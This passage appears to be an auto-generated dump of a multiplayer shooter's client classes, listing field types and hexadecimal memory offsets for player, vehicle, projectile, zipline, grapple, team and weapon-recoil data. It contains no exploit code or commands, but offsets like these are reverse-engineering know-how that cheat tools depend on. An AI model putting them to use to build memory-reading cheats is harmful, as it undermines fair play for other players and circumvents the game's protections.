EHANDLE, + m_playerLocalGravityLineEndEntity: EHANDLE, + m_playerFloatLookStartTime: Time, + m_playerFloatLookEndTime: Time, + m_wallrunLatestFloorHeight: Float, + m_wallrunFromJetpack: Bool, + m_groundNormal: Vector, + m_continuousUseBlocked: Bool, + m_useEnt: EHANDLE, +} +``` + +### Offsets + +``` +C_PlayerLocalData!0x0008 m_nStepside +C_PlayerLocalData!0x000c m_nOldButtons +C_PlayerLocalData!0x0010 m_nOldVehicleButtons +C_PlayerLocalData!0x0014 m_iHideHUD +C_PlayerLocalData!0x0018 m_superJumpsUsed +C_PlayerLocalData!0x001c m_jumpedOffRodeo +C_PlayerLocalData!0x0020 m_jumpPressTime +C_PlayerLocalData!0x0024 m_jetpackActivateTime +C_PlayerLocalData!0x0028 m_jetpackDeactivateTime +C_PlayerLocalData!0x002c m_flSuitPower +C_PlayerLocalData!0x0030 m_flSuitJumpPower +C_PlayerLocalData!0x0034 m_flSuitGrapplePower +C_PlayerLocalData!0x0038 m_flFallVelocity +C_PlayerLocalData!0x003c m_flStepSize +C_PlayerLocalData!0x0040 m_airSlowMoFrac +C_PlayerLocalData!0x0044 predictableFlags +C_PlayerLocalData!0x0048 m_bitsActiveDevices +C_PlayerLocalData!0x004c m_forceStance +C_PlayerLocalData!0x0050 m_duckToggleOn +C_PlayerLocalData!0x0051 m_bDrawViewmodel +C_PlayerLocalData!0x0052 m_bAllowAutoMovement +C_PlayerLocalData!0x0180 m_airMoveBlockPlanes +C_PlayerLocalData!0x0198 m_airMoveBlockPlaneTime +C_PlayerLocalData!0x019c m_airMoveBlockPlaneCount +C_PlayerLocalData!0x01a0 m_queuedMeleePressTime +C_PlayerLocalData!0x01a4 m_queuedGrappleMeleeTime +C_PlayerLocalData!0x01a9 m_disableMeleeUntilRelease +C_PlayerLocalData!0x01ac m_meleePressTime +C_PlayerLocalData!0x01b0 m_meleeDisabledCounter +C_PlayerLocalData!0x01b4 m_meleeInputIndex +C_PlayerLocalData!0x01bc m_oneHandedWeaponUsage +C_PlayerLocalData!0x01bd m_prevOneHandedWeaponUsage +C_PlayerLocalData!0x01f0 m_titanEmbarkEnabled +C_PlayerLocalData!0x01f1 m_titanDisembarkEnabled +C_PlayerLocalData!0x01f8 m_playerAnimStationaryGoalFeetYaw +C_PlayerLocalData!0x01fc m_playerAnimJumping +C_PlayerLocalData!0x0200 m_playerAnimJumpStartTime +C_PlayerLocalData!0x0204 m_playerAnimFirstJumpFrame +C_PlayerLocalData!0x0205 m_playerAnimDodging +C_PlayerLocalData!0x0208 m_playerAnimJumpActivity +C_PlayerLocalData!0x020c m_playerAnimLanding +C_PlayerLocalData!0x020d m_playerAnimShouldLand +C_PlayerLocalData!0x0210 m_playerAnimLandStartTime +C_PlayerLocalData!0x0214 m_playerAnimInAirWalk +C_PlayerLocalData!0x0218 m_playerAnimPrevFrameSequenceMotionYaw +C_PlayerLocalData!0x021c m_playerAnimMeleeParity +C_PlayerLocalData!0x0220 m_playerAnimMeleeStartTime +C_PlayerLocalData!0x0224 m_playerLocalGravityToWorldTransform +C_PlayerLocalData!0x0254 m_playerLocalGravityBlendStartRotation +C_PlayerLocalData!0x0264 m_playerLocalGravityBlendEndRotation +C_PlayerLocalData!0x0274 m_playerLocalGravityBlendEndDirection +C_PlayerLocalData!0x0280 m_playerLocalGravityBlendStartTime +C_PlayerLocalData!0x0284 m_playerLocalGravityBlendEndTime +C_PlayerLocalData!0x0288 m_playerLocalGravityBlendStrength +C_PlayerLocalData!0x028c m_playerLocalGravityStrength +C_PlayerLocalData!0x0290 m_playerLocalGravityType +C_PlayerLocalData!0x0294 m_playerLocalGravityPoint +C_PlayerLocalData!0x02a0 m_playerLocalGravityLineStart +C_PlayerLocalData!0x02ac m_playerLocalGravityLineEnd +C_PlayerLocalData!0x02b8 m_playerLocalGravityEntity +C_PlayerLocalData!0x02bc m_playerLocalGravityLineStartEntity +C_PlayerLocalData!0x02c0 m_playerLocalGravityLineEndEntity +C_PlayerLocalData!0x02c4 m_playerFloatLookStartTime +C_PlayerLocalData!0x02c8 m_playerFloatLookEndTime +C_PlayerLocalData!0x02cc m_wallrunLatestFloorHeight +C_PlayerLocalData!0x02d0 m_wallrunFromJetpack +C_PlayerLocalData!0x02d4 m_groundNormal +C_PlayerLocalData!0x02e0 m_continuousUseBlocked +C_PlayerLocalData!0x02e4 m_useEnt +``` +
+
+class C_PlayerVehicle extends C_BaseAnimatingOverlay + +``` +{ + m_localOrigin: Vector, + m_SequenceTransitioner: C_SequenceTransitioner, + m_vehicleDriver: EHANDLE, + m_vehicleActivated: Bool, + m_blockDuckInput: Bool, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: EHANDLE, + m_vehicleGroundNormal: Vector, + m_vehicleGroundDist: Float, + m_hoverVehicleHoverOffsetPrev: Float, + m_hoverVehicleGroundAngles: Vector, + m_hoverVehicleIsOnGround: Bool, + m_hoverVehicleHoverSimulationIsAwake: Bool, + m_hoverVehicleSmoothTilt: Vector, + m_hoverVehicleSmoothTiltVelocity: Vector, + m_hoverVehicleSmoothYaw: Float, + m_hoverVehicleSmoothYawVelocity: Float, + m_hoverVehicleLookAheadAcceleration: Vector, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleIsMarkedAsDrivingForward: Bool, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: Vector, + m_hoverVehiclePhysPush: Vector, +} +``` + +### Offsets + +``` +C_PlayerVehicle!0x0158 m_localOrigin +C_PlayerVehicle!0x0c00 m_SequenceTransitioner +C_PlayerVehicle!0x1984 m_vehicleDriver +C_PlayerVehicle!0x19a8 m_vehicleActivated +C_PlayerVehicle!0x19a9 m_blockDuckInput +C_PlayerVehicle!0x19b8 m_vehicleLaunchTime +C_PlayerVehicle!0x19c0 m_vehicleVelocity +C_PlayerVehicle!0x19cc m_vehicleGroundEntity +C_PlayerVehicle!0x19d0 m_vehicleGroundNormal +C_PlayerVehicle!0x19dc m_vehicleGroundDist +C_PlayerVehicle!0x19e0 m_hoverVehicleHoverOffsetPrev +C_PlayerVehicle!0x19f0 m_hoverVehicleGroundAngles +C_PlayerVehicle!0x19fc m_hoverVehicleIsOnGround +C_PlayerVehicle!0x19fe m_hoverVehicleHoverSimulationIsAwake +C_PlayerVehicle!0x1ab0 m_hoverVehicleSmoothTilt +C_PlayerVehicle!0x1abc m_hoverVehicleSmoothTiltVelocity +C_PlayerVehicle!0x1ac8 m_hoverVehicleSmoothYaw +C_PlayerVehicle!0x1acc m_hoverVehicleSmoothYawVelocity +C_PlayerVehicle!0x1ad0 m_hoverVehicleLookAheadAcceleration +C_PlayerVehicle!0x1adc m_hoverVehicleLastBoostTime +C_PlayerVehicle!0x1ae6 m_hoverVehicleIsMarkedAsDrivingForward +C_PlayerVehicle!0x1ae8 m_hoverVehicleStunTimeEnd +C_PlayerVehicle!0x1aec m_hoverVehicleThrottle +C_PlayerVehicle!0x1af4 m_hoverVehicleBanking +C_PlayerVehicle!0x1af8 m_hoverVehicleFrictionLastTime +C_PlayerVehicle!0x1afc m_hoverVehicleFrictionSurfPropOther +C_PlayerVehicle!0x1b00 m_hoverVehicleFrictionNormal +C_PlayerVehicle!0x1b0c m_hoverVehicleFrictionPos +C_PlayerVehicle!0x1b18 m_hoverVehiclePhysPush +``` +
+
+class C_Projectile extends C_BaseEntity + +``` +{ + m_weaponDataIsSet: Bool, + m_forceAdjustToGunBarrelDisabled: Bool, + m_weaponClassIndex: Int, + m_destructionDistance: Float, + m_passThroughDepthTotal: Int, + m_modBitfield: Int, + m_overrideMods: Int, + m_projectileTrailIndex: Int, + m_impactEffectTable: Int, + m_reducedEffects: Bool, + m_projectileCreationTimeServer: Float, + m_weaponSource: EHANDLE, + m_passThroughModCount: Int, + m_passThroughPoints: Vector, + m_preModdedTrailEffectIndices1p: Int, + m_preModdedTrailEffectIndices3p: Int, + m_launchOrigin: Vector, + m_wpnData: Outer, + m_hWeaponFileInfo: Short, + m_weaponChargeLevel: Int, + m_weaponChargeFraction: Float, + m_modVars: Void, + m_modVarsAreValid: Bool, + m_launchVel: Vector, + m_scriptCB: Void, + m_hasPlayedTrailEffect: Bool, + m_projectileLifeTimeEndTick: Tick, + m_projectileCreationTime: Float, + m_isVortexRefired: Bool, + m_damageAliveOnly: Bool, + m_usesPositionFunction: Bool, + m_lastCollisionNormal: Vector, + m_bounceIndex: Int, + m_randomInt: Int, + m_thrownByAI: Bool, + m_perPolyRadius: Float, + m_posBeforePhysicsSimulate: Vector, + m_hasIgnited: Bool, + m_inLagCompensation: Bool, + m_passEntities: EHANDLE, + m_projectileSpeed: Float, + m_wantStartTrailEffect: Bool, + m_hasCalledPostDataUpdate: Bool, +} +``` + +### Offsets + +``` +C_Projectile!0x1600 m_weaponDataIsSet +C_Projectile!0x1601 m_forceAdjustToGunBarrelDisabled +C_Projectile!0x1604 m_weaponClassIndex +C_Projectile!0x1608 m_destructionDistance +C_Projectile!0x160c m_passThroughDepthTotal +C_Projectile!0x1610 m_modBitfield +C_Projectile!0x1614 m_overrideMods +C_Projectile!0x1618 m_projectileTrailIndex +C_Projectile!0x161c m_impactEffectTable +C_Projectile!0x1620 m_reducedEffects +C_Projectile!0x1624 m_projectileCreationTimeServer +C_Projectile!0x1628 m_weaponSource +C_Projectile!0x162c m_passThroughModCount +C_Projectile!0x1630 m_passThroughPoints +C_Projectile!0x163c m_preModdedTrailEffectIndices1p +C_Projectile!0x1640 m_preModdedTrailEffectIndices3p +C_Projectile!0x1644 m_launchOrigin +C_Projectile!0x1650 m_wpnData +C_Projectile!0x1658 m_hWeaponFileInfo +C_Projectile!0x165c m_weaponChargeLevel +C_Projectile!0x1660 m_weaponChargeFraction +C_Projectile!0x1668 m_modVars +C_Projectile!0x28f0 m_modVarsAreValid +C_Projectile!0x28f4 m_launchVel +C_Projectile!0x2900 m_scriptCB +C_Projectile!0x2928 m_hasPlayedTrailEffect +C_Projectile!0x292c m_projectileLifeTimeEndTick +C_Projectile!0x2930 m_projectileCreationTime +C_Projectile!0x2934 m_isVortexRefired +C_Projectile!0x2935 m_damageAliveOnly +C_Projectile!0x2936 m_usesPositionFunction +C_Projectile!0x2938 m_lastCollisionNormal +C_Projectile!0x2944 m_bounceIndex +C_Projectile!0x2948 m_randomInt +C_Projectile!0x294c m_thrownByAI +C_Projectile!0x2950 m_perPolyRadius +C_Projectile!0x2958 m_posBeforePhysicsSimulate +C_Projectile!0x2964 m_hasIgnited +C_Projectile!0x2965 m_inLagCompensation +C_Projectile!0x2968 m_passEntities +C_Projectile!0x29d0 m_projectileSpeed +C_Projectile!0x29f0 m_wantStartTrailEffect +C_Projectile!0x29f2 m_hasCalledPostDataUpdate +``` +
+
+class C_PropDoor + +``` +{ + m_localOrigin: Vector, + m_localAngles: Vector, + m_nNextThinkTick: Int, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_nextHitSoundTime: Float, + m_lastThinkTime: Float, + m_interactingPlayer: EHANDLE, + m_interactingPlayerWantsOpen: Bool, + m_useDebounceEndTime: Time, + m_prevAngle: Float, +} +``` + +### Offsets + +``` +C_PropDoor!0x0158 m_localOrigin +C_PropDoor!0x0164 m_localAngles +C_PropDoor!0x0554 m_nNextThinkTick +C_PropDoor!0x1674 m_angle +C_PropDoor!0x1678 m_startAngle +C_PropDoor!0x167c m_startAngleVel +C_PropDoor!0x1680 m_startMoveTime +C_PropDoor!0x168c m_nextHitSoundTime +C_PropDoor!0x1690 m_lastThinkTime +C_PropDoor!0x16d8 m_interactingPlayer +C_PropDoor!0x16dc m_interactingPlayerWantsOpen +C_PropDoor!0x16e0 m_useDebounceEndTime +C_PropDoor!0x16e8 m_prevAngle +``` +
+
+class C_SequenceTransitioner + +``` +{ + m_sequenceTransitionerLayers: C_SequenceTransitionerLayer, + m_sequenceTransitionerLayerCount: Int, +} +``` + +### Offsets + +``` +C_SequenceTransitioner!0x0050 m_sequenceTransitionerLayers +C_SequenceTransitioner!0x01a0 m_sequenceTransitionerLayerCount +``` +
+
+class C_SequenceTransitionerLayer + +``` +{ + m_sequenceTransitionerLayerActive: Bool, + m_sequenceTransitionerLayerStartCycle: Float, + m_sequenceTransitionerLayerSequence: Int, + m_weight: Float, + m_sequenceTransitionerLayerPlaybackRate: Float, + m_sequenceTransitionerLayerStartTime: Time, + m_sequenceTransitionerLayerFadeOutDuration: Float, +} +``` + +### Offsets + +``` +C_SequenceTransitionerLayer!0x0018 m_sequenceTransitionerLayerActive +C_SequenceTransitionerLayer!0x001c m_sequenceTransitionerLayerStartCycle +C_SequenceTransitionerLayer!0x0020 m_sequenceTransitionerLayerSequence +C_SequenceTransitionerLayer!0x0024 m_weight +C_SequenceTransitionerLayer!0x0028 m_sequenceTransitionerLayerPlaybackRate +C_SequenceTransitionerLayer!0x002c m_sequenceTransitionerLayerStartTime +C_SequenceTransitionerLayer!0x0030 m_sequenceTransitionerLayerFadeOutDuration +``` +
+
+class C_Team extends C_BaseEntity + +``` +{ + m_score: Int, + m_score2: Int, + m_kills: Int, + m_deaths: Int, + m_iRoundsWon: Int, + m_iTeamTeamNum: Int, + m_szTeamname: Char, +} +``` + +### Offsets + +``` +C_Team!0x0a40 m_score +C_Team!0x0a44 m_score2 +C_Team!0x0a48 m_kills +C_Team!0x0a4c m_deaths +C_Team!0x0a50 m_iRoundsWon +C_Team!0x0a54 m_iTeamTeamNum +C_Team!0x0a78 m_szTeamname +``` +
+
+class C_TriggerCylinderHeavy + +``` +{ + m_teslaTrapObstructedEndTime: Time, +} +``` + +### Offsets + +``` +C_TriggerCylinderHeavy!0x0b3c m_teslaTrapObstructedEndTime +``` +
+
+class C_VortexSphere extends C_BaseEntity + +``` +{ + m_enabled: Bool, + m_radius: Float, + m_height: Float, + m_bulletFov: Float, + m_bulletAbsorbedCount: Int, + m_projectileAbsorbedCount: Int, + m_ownerWeapon: EHANDLE, + m_vortexEffect: EHANDLE, + m_vortexLocalAngles: Vector, + m_gunAttachment: String, + m_listPrev: Outer, + m_listNext: Outer, +} +``` + +### Offsets + +``` +C_VortexSphere!0x0a40 m_enabled +C_VortexSphere!0x0a44 m_radius +C_VortexSphere!0x0a48 m_height +C_VortexSphere!0x0a4c m_bulletFov +C_VortexSphere!0x0a50 m_bulletAbsorbedCount +C_VortexSphere!0x0a54 m_projectileAbsorbedCount +C_VortexSphere!0x0a58 m_ownerWeapon +C_VortexSphere!0x0a5c m_vortexEffect +C_VortexSphere!0x0a60 m_vortexLocalAngles +C_VortexSphere!0x0a70 m_gunAttachment +C_VortexSphere!0x0a78 m_listPrev +C_VortexSphere!0x0a80 m_listNext +``` +
+
+class C_WallrunCurve extends C_GameplayHint + +``` +{ + width: Int, + height: Int, +} +``` + +### Offsets + +``` +C_WallrunCurve!0x0a80 width +C_WallrunCurve!0x0a84 height +``` +
+
+class C_WindowHint extends C_GameplayHint + +``` +{ + normal: Vector, + right: Vector, + halfSize: Float, + halfSize[0]: Float, + halfSize[1]: Float, +} +``` + +### Offsets + +``` +C_WindowHint!0x0a80 normal +C_WindowHint!0x0a8c right +C_WindowHint!0x0a98 halfSize +C_WindowHint!0x0a98 halfSize[0] +C_WindowHint!0x0a9c halfSize[1] +``` +
+
+class C_Zipline extends C_BaseEntity + +``` +{ + m_ziplinePhysics: C_ZiplinePhysics, + m_detachEndOnUse: Bool, + m_currentFrameZipline.numZiplinePoints: Int, + m_currentFrameZipline.ziplinePositions: Vector, + m_currentFrameZipline.ziplinePreviousPositions: Vector, + m_currentFrameZipline.ziplineDistances: Float, +} +``` + +### Offsets + +``` +C_Zipline!0x0a40 m_ziplinePhysics +C_Zipline!0x0d94 m_detachEndOnUse +C_Zipline!0x0e80 m_currentFrameZipline.numZiplinePoints +C_Zipline!0x0e84 m_currentFrameZipline.ziplinePositions +C_Zipline!0x0f44 m_currentFrameZipline.ziplinePreviousPositions +C_Zipline!0x1004 m_currentFrameZipline.ziplineDistances +``` +
+
+class C_ZiplinePhysics + +``` +{ + m_ziplineType: Int, + m_ziplineStart: Vector, + m_ziplineEnd: Vector, + m_nodes: C_ZiplinePhysicsNode, + m_numNodes: Int, + m_springDistance: Int, + m_remainingUnsimulatedTime: Float, + m_attachedEntities: C_ZiplinePhysicsAttachedEntity, + m_numAttachedEntities: Int, + m_ziplineOwner: EHANDLE, +} +``` + +### Offsets + +``` +C_ZiplinePhysics!0x000c m_ziplineType +C_ZiplinePhysics!0x0010 m_ziplineStart +C_ZiplinePhysics!0x001c m_ziplineEnd +C_ZiplinePhysics!0x0028 m_nodes +C_ZiplinePhysics!0x0228 m_numNodes +C_ZiplinePhysics!0x022c m_springDistance +C_ZiplinePhysics!0x0234 m_remainingUnsimulatedTime +C_ZiplinePhysics!0x0240 m_attachedEntities +C_ZiplinePhysics!0x0340 m_numAttachedEntities +C_ZiplinePhysics!0x0344 m_ziplineOwner +``` +
+
+class C_ZiplinePhysicsAttachedEntity + +``` +{ + entity: EHANDLE, + attachAcceleration: Vector, + attachTime: Float, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsAttachedEntity!0x0008 entity +C_ZiplinePhysicsAttachedEntity!0x000c attachAcceleration +C_ZiplinePhysicsAttachedEntity!0x0018 attachTime +``` +
+
+class C_ZiplinePhysicsNode + +``` +{ + position: Vector, + prevPosition: Vector, +} +``` + +### Offsets + +``` +C_ZiplinePhysicsNode!0x0008 position +C_ZiplinePhysicsNode!0x0014 prevPosition +``` +
+
+class GrappleData + +``` +{ + m_grappleVel: Vector, + m_grapplePoints: Vector, + m_grapplePointCount: Int, + m_grappleAttached: Bool, + m_grapplePulling: Bool, + m_grappleSwinging: Bool, + m_grappleRetracting: Bool, + m_grappleForcedRetracting: Bool, + m_grappleGracePeriodFinished: Bool, + m_grappleUsedPower: Float, + m_grappleActivateTime: Time, + m_grapplePullTime: Time, + m_grappleAttachTime: Time, + m_grappleDetachTime: Time, + m_grappleMeleeTarget: EHANDLE, + m_grappleAutoAimTarget: EHANDLE, + m_grappleSwingDetachLowSpeed: Float, + m_grappleSwingHoldTime: Time, +} +``` + +### Offsets + +``` +GrappleData!0x0008 m_grappleVel +GrappleData!0x0014 m_grapplePoints +GrappleData!0x0044 m_grapplePointCount +GrappleData!0x0048 m_grappleAttached +GrappleData!0x0049 m_grapplePulling +GrappleData!0x004a m_grappleSwinging +GrappleData!0x004b m_grappleRetracting +GrappleData!0x004c m_grappleForcedRetracting +GrappleData!0x004d m_grappleGracePeriodFinished +GrappleData!0x0050 m_grappleUsedPower +GrappleData!0x0054 m_grappleActivateTime +GrappleData!0x0058 m_grapplePullTime +GrappleData!0x005c m_grappleAttachTime +GrappleData!0x0060 m_grappleDetachTime +GrappleData!0x0064 m_grappleMeleeTarget +GrappleData!0x0068 m_grappleAutoAimTarget +GrappleData!0x0074 m_grappleSwingDetachLowSpeed +GrappleData!0x0078 m_grappleSwingHoldTime +``` +
+
+class MissilePathExpandContractSettings_Client + +``` +{ + launchOutVec: Vector, + launchInVec: Vector, + launchOutTime: Time, + launchInLerpTime: Time, + launchInTime: Time, + launchStraightLerpTime: Time, + endPos: Vector, + applyRandSpread: Bool, +} +``` + +### Offsets + +``` +MissilePathExpandContractSettings_Client!0x0004 launchOutVec +MissilePathExpandContractSettings_Client!0x0010 launchInVec +MissilePathExpandContractSettings_Client!0x0028 launchOutTime +MissilePathExpandContractSettings_Client!0x002c launchInLerpTime +MissilePathExpandContractSettings_Client!0x0030 launchInTime +MissilePathExpandContractSettings_Client!0x0034 launchStraightLerpTime +MissilePathExpandContractSettings_Client!0x003c endPos +MissilePathExpandContractSettings_Client!0x0054 applyRandSpread +``` +
+
+class PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Bool, + attackRecoveryShouldBeQuick: Bool, + isSprintAttack: Bool, + attackStartTime: Time, + attackHitEntity: EHANDLE, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Bool, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +PlayerMelee_PlayerData!0x0008 meleeAttackParity +PlayerMelee_PlayerData!0x000c attackActive +PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +PlayerMelee_PlayerData!0x000e isSprintAttack +PlayerMelee_PlayerData!0x0010 attackStartTime +PlayerMelee_PlayerData!0x0014 attackHitEntity +PlayerMelee_PlayerData!0x0018 attackHitEntityTime +PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +PlayerMelee_PlayerData!0x0020 scriptedState +PlayerMelee_PlayerData!0x0024 pendingMeleePress +PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class PlayerZiplineData_Client + +``` +{ + m_ziplineReenableWeapons: Bool, + m_mountingZiplineDuration: Float, + m_mountingZiplineAlpha: Float, + m_ziplineStartTime: Time, + m_ziplineEndTime: Time, + m_mountingZiplineSourcePosition: Vector, + m_mountingZiplineSourceVelocity: Vector, + m_mountingZiplineTargetPosition: Vector, + m_ziplineUsePosition: Vector, + m_slidingZiplineAlpha: Float, + m_lastMoveDir2D: Vector, + m_ziplineReverse: Bool, +} +``` + +### Offsets + +``` +PlayerZiplineData_Client!0x0008 m_ziplineReenableWeapons +PlayerZiplineData_Client!0x000c m_mountingZiplineDuration +PlayerZiplineData_Client!0x0010 m_mountingZiplineAlpha +PlayerZiplineData_Client!0x0014 m_ziplineStartTime +PlayerZiplineData_Client!0x0018 m_ziplineEndTime +PlayerZiplineData_Client!0x001c m_mountingZiplineSourcePosition +PlayerZiplineData_Client!0x0028 m_mountingZiplineSourceVelocity +PlayerZiplineData_Client!0x0034 m_mountingZiplineTargetPosition +PlayerZiplineData_Client!0x004c m_ziplineUsePosition +PlayerZiplineData_Client!0x0058 m_slidingZiplineAlpha +PlayerZiplineData_Client!0x005c m_lastMoveDir2D +PlayerZiplineData_Client!0x0068 m_ziplineReverse +``` +
+
+class Player_ViewOffsetEntityData + +``` +{ + viewOffsetEntityHandle: EHANDLE, + lerpInDuration: Float, + lerpOutDuration: Float, + stabilizePlayerEyeAngles: Bool, +} +``` + +### Offsets + +``` +Player_ViewOffsetEntityData!0x0008 viewOffsetEntityHandle +Player_ViewOffsetEntityData!0x000c lerpInDuration +Player_ViewOffsetEntityData!0x0010 lerpOutDuration +Player_ViewOffsetEntityData!0x0014 stabilizePlayerEyeAngles +``` +
+
+class PredictedAnimEventData + +``` +{ + m_predictedAnimEventTimes: Time, + m_predictedAnimEventIndices: Int, + m_predictedAnimEventCount: Int, + m_predictedAnimEventTarget: EHANDLE, + m_predictedAnimEventSequence: Int, + m_predictedAnimEventModel: Int, + m_predictedAnimEventsReadyToFireTime: Time, +} +``` + +### Offsets + +``` +PredictedAnimEventData!0x0008 m_predictedAnimEventTimes +PredictedAnimEventData!0x0028 m_predictedAnimEventIndices +PredictedAnimEventData!0x0048 m_predictedAnimEventCount +PredictedAnimEventData!0x004c m_predictedAnimEventTarget +PredictedAnimEventData!0x0050 m_predictedAnimEventSequence +PredictedAnimEventData!0x0054 m_predictedAnimEventModel +PredictedAnimEventData!0x0058 m_predictedAnimEventsReadyToFireTime +``` +
+
+class StatusEffectEndlessData + +``` +{ + seComboVars: Int, +} +``` + +### Offsets + +``` +StatusEffectEndlessData!0x0008 seComboVars +``` +
+
+class StatusEffectTimedData + +``` +{ + seComboVars: Int, + seTimeEnd: Float, + seEaseOut: Float, +} +``` + +### Offsets + +``` +StatusEffectTimedData!0x0008 seComboVars +StatusEffectTimedData!0x000c seTimeEnd +StatusEffectTimedData!0x0010 seEaseOut +``` +
+
+class WeaponInventory_Client + +``` +{ + weapons: EHANDLE, + activeWeapons: EHANDLE, +} +``` + +### Offsets + +``` +WeaponInventory_Client!0x0008 weapons +WeaponInventory_Client!0x004c activeWeapons +``` +
+
+class WeaponPlayerData + +``` +{ + m_moveSpread: Float, + m_spreadStartTime: Time, + m_spreadStartFracHip: Float, + m_spreadStartFracADS: Float, + m_kickSpreadHipfire: Float, + m_kickSpreadADS: Float, + m_kickTime: Time, + m_kickScaleBasePitch: Float, + m_kickScaleBaseYaw: Float, + m_kickPatternScaleBase: Float, + m_kickSpringHeatBaseTime: Time, + m_kickSpringHeatBaseValue: Float, + m_semiAutoTriggerHoldTime: Time, + m_semiAutoTriggerDown: Bool, + m_pendingTriggerPull: Bool, + m_semiAutoNeedsRechamber: Bool, + m_pendingReloadAttempt: Bool, + m_offhandHybridNormalMode: Bool, + m_pendingoffhandHybridToss: Bool, + m_fastHolster: Bool, + m_didFirstDeploy: Bool, + m_shouldCatch: Bool, + m_clipModelIsHidden: Bool, + m_segmentedReloadEndSeqRequired: Bool, + m_reloadStartedEmpty: Bool, + m_segmentedAnimStartedOneHanded: Bool, + m_segmentedReloadCanRestartLoop: Bool, + m_segmentedReloadLoopFireLocked: Bool, + m_realtimeModCmds: Char, + m_realtimeModCmdHead: Char, + m_realtimeModCmdCount: Char, + m_customActivityAttachedModelIndex: Int, + m_customActivityAttachedModelAttachmentIndex: Int, + m_fireRateLerp_startTime: Time, + m_fireRateLerp_startFraction: Float, + m_fireRateLerp_stopTime: Time, + m_fireRateLerp_stopFraction: Float, + m_chargeAnimIndex: Int, + m_chargeAnimIndexOld: Int, + m_reloadMilestone: Int, + m_rechamberMilestone: Int, + m_cooldownMilestone: Int, + m_prevSeqWeight: Int, + m_fullReloadStartTime: Time, + m_scriptTime0: Time, + m_scriptTime1: Time, + m_scriptFloat0: Float, + m_scriptFlags0: Int, + m_scriptInt0: Short, + m_scriptInt1: Short, + m_curZoomFOV: Float, + m_targetZoomFOV: Float, + m_zoomFOVLerpTime: Float, + m_zoomFOVLerpEndTime: Time, + m_latestDryfireTime: Time, + m_requestedAttackEndTime: Time, + m_currentAltFireAnimIndex: Int, + m_legendaryModelIndex: Int, + m_charmModelIndex: Int, + m_charmAttachment: Int, + m_charmScriptIndex: Int, +} +``` + +### Offsets + +``` +WeaponPlayerData!0x0008 m_moveSpread +WeaponPlayerData!0x000c m_spreadStartTime +WeaponPlayerData!0x0010 m_spreadStartFracHip +WeaponPlayerData!0x0014 m_spreadStartFracADS +WeaponPlayerData!0x0018 m_kickSpreadHipfire +WeaponPlayerData!0x001c m_kickSpreadADS +WeaponPlayerData!0x0020 m_kickTime +WeaponPlayerData!0x0024 m_kickScaleBasePitch +WeaponPlayerData!0x0028 m_kickScaleBaseYaw +WeaponPlayerData!0x002c m_kickPatternScaleBase +WeaponPlayerData!0x0030 m_kickSpringHeatBaseTime +WeaponPlayerData!0x0034 m_kickSpringHeatBaseValue +WeaponPlayerData!0x0038 m_semiAutoTriggerHoldTime +WeaponPlayerData!0x003c m_semiAutoTriggerDown +WeaponPlayerData!0x003d m_pendingTriggerPull +WeaponPlayerData!0x003e m_semiAutoNeedsRechamber +WeaponPlayerData!0x003f m_pendingReloadAttempt +WeaponPlayerData!0x0040 m_offhandHybridNormalMode +WeaponPlayerData!0x0041 m_pendingoffhandHybridToss +WeaponPlayerData!0x0042 m_fastHolster +WeaponPlayerData!0x0043 m_didFirstDeploy +WeaponPlayerData!0x0044 m_shouldCatch +WeaponPlayerData!0x0045 m_clipModelIsHidden +WeaponPlayerData!0x0046 m_segmentedReloadEndSeqRequired +WeaponPlayerData!0x0047 m_reloadStartedEmpty +WeaponPlayerData!0x0048 m_segmentedAnimStartedOneHanded +WeaponPlayerData!0x0049 m_segmentedReloadCanRestartLoop +WeaponPlayerData!0x004a m_segmentedReloadLoopFireLocked +WeaponPlayerData!0x004b m_realtimeModCmds +WeaponPlayerData!0x0053 m_realtimeModCmdHead +WeaponPlayerData!0x0054 m_realtimeModCmdCount +WeaponPlayerData!0x0058 m_customActivityAttachedModelIndex +WeaponPlayerData!0x005c m_customActivityAttachedModelAttachmentIndex +WeaponPlayerData!0x0060 m_fireRateLerp_startTime +WeaponPlayerData!0x0064 m_fireRateLerp_startFraction +WeaponPlayerData!0x0068 m_fireRateLerp_stopTime +WeaponPlayerData!0x006c m_fireRateLerp_stopFraction +WeaponPlayerData!0x0070 m_chargeAnimIndex +WeaponPlayerData!0x0074 m_chargeAnimIndexOld +WeaponPlayerData!0x0094 m_reloadMilestone +WeaponPlayerData!0x0098 m_rechamberMilestone +WeaponPlayerData!0x009c m_cooldownMilestone +WeaponPlayerData!0x00a0 m_prevSeqWeight +WeaponPlayerData!0x00a4 m_fullReloadStartTime +WeaponPlayerData!0x00a8 m_scriptTime0 +WeaponPlayerData!0x00ac m_scriptTime1 +WeaponPlayerData!0x00b0 m_scriptFloat0 +WeaponPlayerData!0x00b4 m_scriptFlags0 +WeaponPlayerData!0x00b8 m_scriptInt0 +WeaponPlayerData!0x00ba m_scriptInt1 +WeaponPlayerData!0x00bc m_curZoomFOV +WeaponPlayerData!0x00c0 m_targetZoomFOV +WeaponPlayerData!0x00c4 m_zoomFOVLerpTime +WeaponPlayerData!0x00c8 m_zoomFOVLerpEndTime +WeaponPlayerData!0x00cc m_latestDryfireTime +WeaponPlayerData!0x00d0 m_requestedAttackEndTime +WeaponPlayerData!0x00d4 m_currentAltFireAnimIndex +WeaponPlayerData!0x00d8 m_legendaryModelIndex +WeaponPlayerData!0x00dc m_charmModelIndex +WeaponPlayerData!0x00e0 m_charmAttachment +WeaponPlayerData!0x00e4 m_charmScriptIndex +``` +
+
